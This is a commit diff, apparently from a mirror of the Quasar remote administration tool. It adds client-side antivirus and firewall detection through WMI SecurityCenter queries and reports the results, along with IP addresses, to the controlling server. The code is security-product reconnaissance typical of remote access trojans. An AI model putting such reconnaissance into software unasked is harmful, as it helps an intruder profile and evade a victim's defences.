mirror of https://github.com/quasar/Quasar.git
Added Antivirus & Firewall detection
This commit is contained in:
parent
68061e2d12
commit
bc814904c4
|
@ -320,7 +320,7 @@ public static void HandleGetSystemInfo(Core.Packets.ServerPackets.GetSystemInfo
|
|||
{
|
||||
try
|
||||
{
|
||||
string[] infoCollection = new string[16];
|
||||
string[] infoCollection = new string[20];
|
||||
infoCollection[0] = "Processor (CPU)";
|
||||
infoCollection[1] = SystemCore.GetCpu();
|
||||
infoCollection[2] = "Memory (RAM)";
|
||||
|
@ -337,6 +337,10 @@ public static void HandleGetSystemInfo(Core.Packets.ServerPackets.GetSystemInfo
|
|||
infoCollection[13] = SystemCore.GetLanIp();
|
||||
infoCollection[14] = "WAN IP Address";
|
||||
infoCollection[15] = SystemCore.WANIP;
|
||||
infoCollection[16] = "Antivirus";
|
||||
infoCollection[17] = SystemCore.GetAntivirus();
|
||||
infoCollection[18] = "Firewall";
|
||||
infoCollection[19] = SystemCore.GetFirewall();
|
||||
new Core.Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client);
|
||||
}
|
||||
catch
|
||||
|
|
|
@ -162,5 +162,11 @@ public static unsafe Bitmap GetDiffDesktop(Bitmap bmp, Bitmap bmp2)
|
|||
|
||||
return bmpRes;
|
||||
}
|
||||
|
||||
public static bool IsWindowsXP()
|
||||
{
|
||||
var OsVersion = Environment.OSVersion.Version;
|
||||
return OsVersion.Major == 5 && OsVersion.Minor >= 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -162,6 +162,42 @@ public static string GetLanIp()
|
|||
return (localIP == "-") ? localIP : localIP.Remove(localIP.Length - 2); ;
|
||||
}
|
||||
|
||||
public static string GetAntivirus()
|
||||
{
|
||||
try
|
||||
{
|
||||
string AntivirusName = string.Empty;
|
||||
string Scope = (Helper.IsWindowsXP()) ? "root\\SecurityCenter" : "root\\SecurityCenter2";
|
||||
string Query = "SELECT * FROM AntivirusProduct";
|
||||
ManagementObjectSearcher searcher = new ManagementObjectSearcher(Scope, Query);
|
||||
foreach (ManagementObject Mobject in searcher.Get())
|
||||
AntivirusName = Mobject["displayName"].ToString();
|
||||
return AntivirusName;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetFirewall()
|
||||
{
|
||||
try
|
||||
{
|
||||
string FirewallName = string.Empty;
|
||||
string Scope = (Helper.IsWindowsXP()) ? "root\\SecurityCenter" : "root\\SecurityCenter2";
|
||||
string Query = "SELECT * FROM FirewallProduct";
|
||||
ManagementObjectSearcher searcher = new ManagementObjectSearcher(Scope, Query);
|
||||
foreach (ManagementObject Mobject in searcher.Get())
|
||||
FirewallName = Mobject["displayName"].ToString();
|
||||
return FirewallName;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
public static void InitializeGeoIp()
|
||||
{
|
||||
GeoIP gIP = new GeoIP();
|
||||
|
|
Loading…
Reference in New Issue